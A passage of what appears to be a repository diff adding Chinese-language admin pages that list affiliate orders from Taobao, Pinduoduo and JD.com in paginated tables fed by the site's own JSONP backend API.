| | | doui.importLoad({ |
| | | importArray: [ |
| | | // 雷打不动 |
| | | getHostPath() + "js/jquery.min.js", |
| | | getHostPath() + "js/vue.min.js", |
| | | // 字体图标 |
| | | getHostPath() + "fontAdmin/iconfont.css", |
| | | getHostPath() + "font/iconfont.css", |
| | | // dom模板 |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js", |
| | | ], |
| | | }); |
| | | </script> |
| | | </head> |
| | | |
| | | <body class="fontPC" style="display:none;"> |
| | | <div class="winSizeBox"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | | |
| | | <!-- =============================================================== 表格 --> |
| | | <div id="thisTable" class="admin-main-overHeader"></div> |
| | | |
| | | </div> |
| | | </body> |
| | | |
| | | </html> |
| | | |
| | | |
| | | <script type="text/javascript"> |
| | | |
| | | // 文件上传vue |
| | | var vm_file = null; |
| | | |
| | | // ==================================================================================== 页面数据 |
| | | doui.onReady({ |
| | | success: function () |
| | | { |
| | | // ----------------------------------------------------- 顶部 |
| | | // 创建顶部dom |
| | | adminDom.header.creat({ el: "#thisHeader", }); |
| | | // 输入搜索 |
| | | adminDom.header.input({ placeholder: "请填写准确的订单号", }) |
| | | // ----------------------------------------------------- 表格 |
| | | // 创建表格dom |
| | | adminDom.table.creat({ |
| | | el: "#thisTable", |
| | | touchSearch: function(optC) |
| | | { |
| | | // 发起请求 |
| | | doui.showLoading({ content: "加载列表" }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/taobaoOrder/listTaoBaoOrder", |
| | | data: { |
| | | pageIndex: optC.table.page, // 页码 |
| | | key: optC.input[0].result, // 搜索关键字 |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | | // 申明 表格内容数据 |
| | | var mo_tr = []; // tr组 |
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) |
| | | { |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "订单类型", key: mo[i].id, value: mo[i].orderType }, |
| | | { title: "订单号", key: mo[i].orderId, value: mo[i].orderId }, |
| | | { title: "商品标题", key:'https://item.taobao.com/item.htm?id='+mo[i].auctionId, value: mo[i].title ,dataType:'link'}, |
| | | { title: "订单状态", key: mo[i].orderState, value: mo[i].orderState }, |
| | | { title: "订单创建时间", key: mo[i].createTime, value: mo[i].createTime, "class": "font13 font-gray" }, |
| | | { title: "付款金额", key: mo[i].payment, value: "¥"+mo[i].payment }, |
| | | { title: "效果预估", key: mo[i].estimate, value: "¥"+mo[i].estimate }, |
| | | |
| | | { title: "预估收入", key: mo[i].eIncome, value: "¥"+mo[i].eIncome }, |
| | | { title: "结算金额", key: mo[i].settlement, value: "¥"+mo[i].settlement }, |
| | | { title: "结算时间", key: mo[i].settlementTime, value: mo[i].settlementTime }, |
| | | |
| | | { title: "补贴金额", key: mo[i].subsidy, value: "¥"+mo[i].subsidy }, |
| | | { title: "交易ID", key: mo[i].tradeId, value: mo[i].tradeId }, |
| | | |
| | | { title: "媒体名称", key: mo[i].sourceMediaName, value: mo[i].sourceMediaName }, |
| | | { title: "媒体ID", key: mo[i].sourceMediaId, value: mo[i].sourceMediaId }, |
| | | { title: "广告位名称", key: mo[i].adPositionName, value: mo[i].adPositionName }, |
| | | { title: "广告位ID", key: mo[i].adPositionId, value: mo[i].adPositionId }, |
| | | |
| | | { title: "渠道ID", key: mo[i].relationId, value: mo[i].relationId }, |
| | | { title: "会员运营ID", key: mo[i].specialId, value: mo[i].specialId }, |
| | | { title: "更新时间", key: mo[i].latestUpdateTime, value: mo[i].latestUpdateTime, "class": "font13 font-gray" }, |
| | | |
| | | ], |
| | | }; |
| | | // 订单号分析 |
| | | if (i >= 1) |
| | | { |
| | | if (thatTr.td[1].key == mo[i-1].orderId) { thatTr.td[1].value = "(同上)"; thatTr.td[1]["class"] = "font-gray"; } |
| | | } |
| | | |
| | | if(thatTr.td[7].key==null||thatTr.td[7].key==''||thatTr.td[7].key==undefined){thatTr.td[7].value="(暂无)" } |
| | | if(thatTr.td[8].key==null||thatTr.td[8].key==''||thatTr.td[8].key==undefined){thatTr.td[8].value="(暂无)" } |
| | | if(thatTr.td[9].key==null||thatTr.td[9].key==''||thatTr.td[9].key==undefined){thatTr.td[9].value="(暂无)" } |
| | | if(thatTr.td[10].key==null||thatTr.td[10].key==''||thatTr.td[10].key==undefined){thatTr.td[10].value="(暂无)" } |
| | | if(thatTr.td[11].key==null||thatTr.td[11].key==''||thatTr.td[11].key==undefined){thatTr.td[11].value="(暂无)" } |
| | | if(thatTr.td[12].key==null||thatTr.td[12].key==''||thatTr.td[12].key==undefined){thatTr.td[12].value="(暂无)" } |
| | | if(thatTr.td[13].key==null||thatTr.td[13].key==''||thatTr.td[13].key==undefined){thatTr.td[13].value="(暂无)" } |
| | | if(thatTr.td[14].key==null||thatTr.td[14].key==''||thatTr.td[14].key==undefined){thatTr.td[14].value="(暂无)" } |
| | | if(thatTr.td[15].key==null||thatTr.td[15].key==''||thatTr.td[15].key==undefined){thatTr.td[15].value="(暂无)" } |
| | | if(thatTr.td[16].key==null||thatTr.td[16].key==''||thatTr.td[16].key==undefined){thatTr.td[16].value="(暂无)" } |
| | | if(thatTr.td[17].key==null||thatTr.td[17].key==''||thatTr.td[17].key==undefined){thatTr.td[17].value="(暂无)" } |
| | | if(thatTr.td[18].key==null||thatTr.td[18].key==''||thatTr.td[18].key==undefined){thatTr.td[18].value="(暂无)" } |
| | | |
| | | |
| | | |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | | // 更新表格的数据 |
| | | adminDom.table.opt({ pageMax: res.data.pe.totalPage }); // 最大页码 |
| | | adminDom.table.tbody({ tr: mo_tr }); // 内容数据 |
| | | } |
| | | } |
| | | }); |
| | | } |
| | | }); |
| | | // 表格设置 |
| | | adminDom.table.opt({ showCheck: false, pageSize: 20, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "订单类型", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "订单号", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "商品标题", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "订单状态", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "订单创建时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "付款金额", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "效果预估", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "预估收入", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "结算金额", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "结算时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "补贴金额", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "交易ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "媒体名称", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "媒体ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "广告位名称", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "广告位ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "渠道ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "会员运营ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "更新时间", width: "", orderUp: "", orderDown: "" } |
| | | ] |
| | | }); |
| | | // 工具栏 |
| | | adminDom.table.tools({ |
| | | show: true, |
| | | list: [ |
| | | { "title": "更新订单", "name": "update", "icon": "fi fi-cloud-upload" }, |
| | | ], |
| | | touch: function (back) |
| | | { |
| | | // 更新订单 |
| | | if (back.toolName == "update") |
| | | { |
| | | if (back.list.length < 1) { |
| | | doui.showToast({ |
| | | content: "请选择要更新的订单" |
| | | }); |
| | | return false; |
| | | } |
| | | |
| | | var idsArray=new Array(); |
| | | for(var i=0;i<back.list.length;i++) |
| | | { |
| | | idsArray.push(back.list[i][0].key); |
| | | } |
| | | doui.showLoading({ content: "更新中。。。" }); |
| | | |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/taobaoOrder/updateTaoBaoOrder", |
| | | data: { |
| | | ids:JSON.stringify(idsArray), // 搜索关键字 |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if(res.code==0) |
| | | { |
| | | doui.showToast({ |
| | | content: "更新成功" |
| | | }); |
| | | }else{ |
| | | doui.showToast({ |
| | | content: res.msg |
| | | }); |
| | | } |
| | | }}); |
| | | } |
| | | }, |
| | | }); |
| | | |
| | | |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | document.body.style.display = "block"; |
| | | } |
| | | }); |
| | | |
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html> |
| | | <html> |
| | | |
| | | <head> |
| | | <meta charset="utf-8" /> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no"/> |
| | | <title>拼多多订单</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | | // 雷打不动 |
| | | getHostPath() + "js/jquery.min.js", |
| | | getHostPath() + "js/vue.min.js", |
| | | // 字体图标 |
| | | getHostPath() + "fontAdmin/iconfont.css", |
| | | getHostPath() + "font/iconfont.css", |
| | | // dom模板 |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js", |
| | | ], |
| | | }); |
| | | </script> |
| | | </head> |
| | | |
| | | <body class="fontPC" style="display:none;"> |
| | | <div class="winSizeBox"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | | |
| | | <!-- =============================================================== 表格 --> |
| | | <div id="thisTable" class="admin-main-overHeader"></div> |
| | | |
| | | </div> |
| | | </body> |
| | | |
| | | </html> |
| | | |
| | | |
| | | <script type="text/javascript"> |
| | | |
| | | // 文件上传vue |
| | | var vm_file = null; |
| | | |
| | | // ==================================================================================== 页面数据 |
| | | doui.onReady({ |
| | | success: function () |
| | | { |
| | | // ----------------------------------------------------- 顶部 |
| | | // 创建顶部dom |
| | | adminDom.header.creat({ el: "#thisHeader", }); |
| | | // 输入搜索 |
| | | adminDom.header.input({ placeholder: "请填写准确的订单号", }) |
| | | // ----------------------------------------------------- 表格 |
| | | // 创建表格dom |
| | | adminDom.table.creat({ |
| | | el: "#thisTable", |
| | | touchSearch: function(optC) |
| | | { |
| | | // 发起请求 |
| | | doui.showLoading({ content: "加载列表" }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/taobaoOrder/listTaoBaoOrder", |
| | | data: { |
| | | pageIndex: optC.table.page, // 页码 |
| | | key: optC.input[0].result, // 搜索关键字 |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | | // 申明 表格内容数据 |
| | | var mo_tr = []; // tr组 |
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) |
| | | { |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "订单类型", key: mo[i].id, value: mo[i].orderType }, |
| | | { title: "订单号", key: mo[i].orderId, value: mo[i].orderId }, |
| | | { title: "商品标题", key:'https://item.taobao.com/item.htm?id='+mo[i].auctionId, value: mo[i].title ,dataType:'link'}, |
| | | { title: "订单状态", key: mo[i].orderState, value: mo[i].orderState }, |
| | | { title: "订单创建时间", key: mo[i].createTime, value: mo[i].createTime, "class": "font13 font-gray" }, |
| | | { title: "付款金额", key: mo[i].payment, value: "¥"+mo[i].payment }, |
| | | { title: "效果预估", key: mo[i].estimate, value: "¥"+mo[i].estimate }, |
| | | |
| | | { title: "预估收入", key: mo[i].eIncome, value: "¥"+mo[i].eIncome }, |
| | | { title: "结算金额", key: mo[i].settlement, value: "¥"+mo[i].settlement }, |
| | | { title: "结算时间", key: mo[i].settlementTime, value: mo[i].settlementTime }, |
| | | |
| | | { title: "补贴金额", key: mo[i].subsidy, value: "¥"+mo[i].subsidy }, |
| | | { title: "交易ID", key: mo[i].tradeId, value: mo[i].tradeId }, |
| | | |
| | | { title: "媒体名称", key: mo[i].sourceMediaName, value: mo[i].sourceMediaName }, |
| | | { title: "媒体ID", key: mo[i].sourceMediaId, value: mo[i].sourceMediaId }, |
| | | { title: "广告位名称", key: mo[i].adPositionName, value: mo[i].adPositionName }, |
| | | { title: "广告位ID", key: mo[i].adPositionId, value: mo[i].adPositionId }, |
| | | |
| | | { title: "渠道ID", key: mo[i].relationId, value: mo[i].relationId }, |
| | | { title: "会员运营ID", key: mo[i].specialId, value: mo[i].specialId }, |
| | | { title: "更新时间", key: mo[i].latestUpdateTime, value: mo[i].latestUpdateTime, "class": "font13 font-gray" }, |
| | | |
| | | ], |
| | | }; |
| | | // 订单号分析 |
| | | if (i >= 1) |
| | | { |
| | | if (thatTr.td[1].key == mo[i-1].orderId) { thatTr.td[1].value = "(同上)"; thatTr.td[1]["class"] = "font-gray"; } |
| | | } |
| | | |
| | | if(thatTr.td[7].key==null||thatTr.td[7].key==''||thatTr.td[7].key==undefined){thatTr.td[7].value="(暂无)" } |
| | | if(thatTr.td[8].key==null||thatTr.td[8].key==''||thatTr.td[8].key==undefined){thatTr.td[8].value="(暂无)" } |
| | | if(thatTr.td[9].key==null||thatTr.td[9].key==''||thatTr.td[9].key==undefined){thatTr.td[9].value="(暂无)" } |
| | | if(thatTr.td[10].key==null||thatTr.td[10].key==''||thatTr.td[10].key==undefined){thatTr.td[10].value="(暂无)" } |
| | | if(thatTr.td[11].key==null||thatTr.td[11].key==''||thatTr.td[11].key==undefined){thatTr.td[11].value="(暂无)" } |
| | | if(thatTr.td[12].key==null||thatTr.td[12].key==''||thatTr.td[12].key==undefined){thatTr.td[12].value="(暂无)" } |
| | | if(thatTr.td[13].key==null||thatTr.td[13].key==''||thatTr.td[13].key==undefined){thatTr.td[13].value="(暂无)" } |
| | | if(thatTr.td[14].key==null||thatTr.td[14].key==''||thatTr.td[14].key==undefined){thatTr.td[14].value="(暂无)" } |
| | | if(thatTr.td[15].key==null||thatTr.td[15].key==''||thatTr.td[15].key==undefined){thatTr.td[15].value="(暂无)" } |
| | | if(thatTr.td[16].key==null||thatTr.td[16].key==''||thatTr.td[16].key==undefined){thatTr.td[16].value="(暂无)" } |
| | | if(thatTr.td[17].key==null||thatTr.td[17].key==''||thatTr.td[17].key==undefined){thatTr.td[17].value="(暂无)" } |
| | | if(thatTr.td[18].key==null||thatTr.td[18].key==''||thatTr.td[18].key==undefined){thatTr.td[18].value="(暂无)" } |
| | | |
| | | |
| | | |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | | // 更新表格的数据 |
| | | adminDom.table.opt({ pageMax: res.data.pe.totalPage }); // 最大页码 |
| | | adminDom.table.tbody({ tr: mo_tr }); // 内容数据 |
| | | } |
| | | } |
| | | }); |
| | | } |
| | | }); |
| | | // 表格设置 |
| | | adminDom.table.opt({ showCheck: false, pageSize: 20, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "订单类型", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "订单号", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "商品标题", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "订单状态", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "订单创建时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "付款金额", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "效果预估", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "预估收入", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "结算金额", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "结算时间", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "补贴金额", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "交易ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "媒体名称", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "媒体ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "广告位名称", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "广告位ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "渠道ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "会员运营ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "更新时间", width: "", orderUp: "", orderDown: "" } |
| | | ] |
| | | }); |
| | | // 工具栏 |
| | | adminDom.table.tools({ |
| | | show: true, |
| | | list: [ |
| | | { "title": "更新订单", "name": "update", "icon": "fi fi-cloud-upload" }, |
| | | ], |
| | | touch: function (back) |
| | | { |
| | | // 更新订单 |
| | | if (back.toolName == "update") |
| | | { |
| | | if (back.list.length < 1) { |
| | | doui.showToast({ |
| | | content: "请选择要更新的订单" |
| | | }); |
| | | return false; |
| | | } |
| | | |
| | | var idsArray=new Array(); |
| | | for(var i=0;i<back.list.length;i++) |
| | | { |
| | | idsArray.push(back.list[i][0].key); |
| | | } |
| | | doui.showLoading({ content: "更新中。。。" }); |
| | | |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/taobaoOrder/updateTaoBaoOrder", |
| | | data: { |
| | | ids:JSON.stringify(idsArray), // 搜索关键字 |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if(res.code==0) |
| | | { |
| | | doui.showToast({ |
| | | content: "更新成功" |
| | | }); |
| | | }else{ |
| | | doui.showToast({ |
| | | content: res.msg |
| | | }); |
| | | } |
| | | }}); |
| | | } |
| | | }, |
| | | }); |
| | | |
| | | |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | document.body.style.display = "block"; |
| | | } |
| | | }); |
| | | |
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html> |
| | | <html> |
| | | <head> |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>京东订单管理</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | | // 雷打不动 |
| | | getHostPath() + "js/jquery.min.js", |
| | | getHostPath() + "js/vue.min.js", |
| | | // 字体图标 |
| | | getHostPath() + "fontAdmin/iconfont.css", |
| | | getHostPath() + "font/iconfont.css", |
| | | // dom模板 |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js",
|
| | | |
| | | getHostPath() + "js/verify.js", |
| | | ], |
| | | }); |
| | | </script>
|
| | | |
| | | <style>
|
| | | .admin-table-tr {
|
| | | min-height: 0.1rem;
|
| | | }
|
| | | </style> |
| | | </head> |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | | |
| | | <!-- =============================================================== 表格 --> |
| | | <div id="thisTable" class="admin-main-overHeader"></div> |
| | | |
| | | </div> |
| | | </body> |
| | | </html> |
| | | |
| | | <script type="text/javascript"> |
| | | |
| | | // ==================================================================================== 页面数据 |
| | | // 轮播图id |
| | | var bannerId = null; |
| | | |
| | | // doui准备完毕 |
| | | doui.onReady({ |
| | | success: function () |
| | | { |
| | | // ----------------------------------------------------- 顶部 |
| | | // 生成顶部筛选项dom |
| | | adminDom.header.creat({ el: "#thisHeader" }); |
| | | |
| | | // 输入搜索 |
| | | adminDom.header.input({ placeholder: "输入订单号", }) |
| | | |
| | | |
| | | // ----------------------------------------------------- 表格 |
| | | // 表格dom创建 |
| | | adminDom.table.creat({ |
| | | el: "#thisTable", |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/jdOrder/query", |
| | | data: { |
| | | pageIndex: optC.table.page, // 页码 |
| | | pageSize: optC.table.pageSize, // 每页数量 |
| | | key: optC.input[0].result, // 搜索关键字 |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | | // 申明 表格内容数据 |
| | | var mo_tr = []; // tr组 |
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) |
| | | { |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [
|
| | | { title: "订单号", key: mo[i].orderId, value: mo[i].orderId },
|
| | | { title: "商品名称", key: mo[i].skuName, value: mo[i].skuName },
|
| | | { title: "商品单价", key: mo[i].price, value: mo[i].price },
|
| | | { title: "商品数量", key: mo[i].skuNum, value: mo[i].skuNum },
|
| | | { title: "售后数量", key: mo[i].frozenSkuNum, value: mo[i].frozenSkuNum },
|
| | | { title: "退货数量", key: mo[i].skuReturnNum, value: mo[i].skuReturnNum },
|
| | | { title: "实际佣金", key: mo[i].actualCosPrice, value: mo[i].actualCosPrice },
|
| | | { title: "佣金比例", key: mo[i].commissionRate, value: mo[i].commissionRate }, |
| | | { title: "最终比例", key: mo[i].finalRate, value: mo[i].finalRate },
|
| | | { title: "创建时间", key: mo[i].createTime, value: mo[i].createTime },
|
| | | { title: "更新时间", key: mo[i].updateTime, value: mo[i].updateTime },
|
| | | ] |
| | | };
|
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | | // 更新表格的数据 |
| | | adminDom.table.opt({ pageMax: res.data.pe.totalPage }); // 最大页码 |
| | | adminDom.table.tbody({ tr: mo_tr }); // 内容数据 |
| | | } |
| | | } |
| | | }); |
| | | }, |
| | | }); |
| | | // 表格设置 |
| | | adminDom.table.opt({ pageSize: 20, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [
|
| | | { title: "订单号", width: "1rem", orderUp: "", orderDown: "" }, |
| | | { title: "商品名称", width: "1rem", orderUp: "", orderDown: "" }, |
| | | { title: "商品单价", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "商品数量", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "售后数量", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "退货数量", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "实际佣金", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "佣金比例", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "最终比例", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "创建时间", width: "1rem", orderUp: "", orderDown: "" },
|
| | | { title: "更新时间", width: "1rem", orderUp: "", orderDown: "" },
|
| | | ] |
| | | }); |
| | | |
| | | // 工具栏 |
| | | adminDom.table.tools({ |
| | | show: false, |
| | | }); |
| | | |
| | | // ----------------------------------------------------- 初始操作 |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | |
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html> |
| | | <html> |
| | | <head> |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>拼多多订单管理</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | | // 雷打不动 |
| | | getHostPath() + "js/jquery.min.js", |
| | | getHostPath() + "js/vue.min.js", |
| | | // 字体图标 |
| | | getHostPath() + "fontAdmin/iconfont.css", |
| | | getHostPath() + "font/iconfont.css", |
| | | // dom模板 |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js",
|
| | | |
| | | getHostPath() + "js/verify.js", |
| | | ], |
| | | }); |
| | | </script>
|
| | | |
| | | <style>
|
| | | .admin-table-tr {
|
| | | min-height: 0.1rem;
|
| | | }
|
| | | </style> |
| | | </head> |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | | |
| | | <!-- =============================================================== 表格 --> |
| | | <div id="thisTable" class="admin-main-overHeader"></div> |
| | | |
| | | </div> |
| | | </body> |
| | | </html> |
| | | |
| | | <script type="text/javascript"> |
| | | |
| | | // ==================================================================================== 页面数据 |
| | | // 轮播图id |
| | | var bannerId = null; |
| | | |
| | | // doui准备完毕 |
| | | doui.onReady({ |
| | | success: function () |
| | | { |
| | | // ----------------------------------------------------- 顶部 |
| | | // 生成顶部筛选项dom |
| | | adminDom.header.creat({ el: "#thisHeader" }); |
| | | |
| | | // 输入搜索 |
| | | adminDom.header.input({ placeholder: "输入订单号", }) |
| | | |
| | | |
| | | // ----------------------------------------------------- 表格 |
| | | // 表格dom创建 |
| | | adminDom.table.creat({ |
| | | el: "#thisTable", |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/pddOrder/query", |
| | | data: { |
| | | pageIndex: optC.table.page, // 页码 |
| | | pageSize: optC.table.pageSize, // 每页数量 |
| | | key: optC.input[0].result, // 搜索关键字 |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | | // 申明 表格内容数据 |
| | | var mo_tr = []; // tr组 |
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) |
| | | { |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [
|
| | | { title: "订单号", key: mo[i].order_id, value: mo[i].order_id },
|
| | | { title: "商品名称", key: mo[i].goods_name, value: mo[i].goods_name },
|
| | | { title: "商品图片", key: mo[i].goods_thumbnail_url, value: mo[i].goods_thumbnail_url, dataType: "img" },
|
| | | { title: "商品数量", key: mo[i].goods_quantity, value: mo[i].goods_quantity },
|
| | | { title: "商品价格", key: mo[i].goods_price, value: mo[i].goods_price },
|
| | | { title: "实付金额", key: mo[i].order_amount, value: mo[i].order_amount },
|
| | | { title: "实际佣金", key: mo[i].promotion_amount, value: mo[i].promotion_amount },
|
| | | { title: "佣金比例", key: mo[i].promotion_rate, value: mo[i].promotion_rate }, |
| | | { title: "订单描述", key: mo[i].order_status_desc, value: mo[i].order_status_desc },
|
| | | { title: "支付时间", key: mo[i].order_pay_time, value: mo[i].order_pay_time },
|
| | | { title: "结算时间", key: mo[i].orderSorder_receive_timeettleTime, value: mo[i].order_receive_time },
|
| | | { title: "创建时间", key: mo[i].createTime, value: mo[i].createTime },
|
| | | { title: "更新时间", key: mo[i].updateTime, value: mo[i].updateTime },
|
| | | ] |
| | | };
|
| | | |
| | | thatTr.td[4].value = thatTr.td[4].value/100;
|
| | | thatTr.td[5].value = thatTr.td[5].value/100;
|
| | | thatTr.td[6].value = thatTr.td[6].value/100;
|
| | | thatTr.td[7].value = thatTr.td[7].value/1000 + "%";
|
| | | |
| | | // 时间分析
|
| | | if (thatTr.td[9].key && thatTr.td[9].key != "")
|
| | | { |
| | | doui.timestampToDate({
|
| | | timestamp: thatTr.td[9].key + "000",
|
| | | success: function (timeD) { thatTr.td[9].value = timeD; }
|
| | | });
|
| | | } else { |
| | | thatTr.td[9].value = "";
|
| | | }
|
| | | |
| | | if (thatTr.td[10].key && thatTr.td[10].key != "")
|
| | | { |
| | | doui.timestampToDate({
|
| | | timestamp: thatTr.td[10].key + "000",
|
| | | success: function (timeD) { thatTr.td[10].value = timeD; }
|
| | | });
|
| | | } else { |
| | | thatTr.td[10].value = "";
|
| | | }
|
| | | |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | | // 更新表格的数据 |
| | | adminDom.table.opt({ pageMax: res.data.pe.totalPage }); // 最大页码 |
| | | adminDom.table.tbody({ tr: mo_tr }); // 内容数据 |
| | | } |
| | | } |
| | | }); |
| | | }, |
| | | }); |
| | | // 表格设置 |
| | | adminDom.table.opt({ pageSize: 20, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [
|
| | | { title: "订单号", width: "1rem", orderUp: "", orderDown: "" }, |
| | | { title: "商品名称", width: "1rem", orderUp: "", orderDown: "" }, |
| | | { title: "商品图片", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "商品数量", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "商品价格", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "实付金额", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "实际佣金", width: "0.5rem", orderUp: "", orderDown: "" },
|
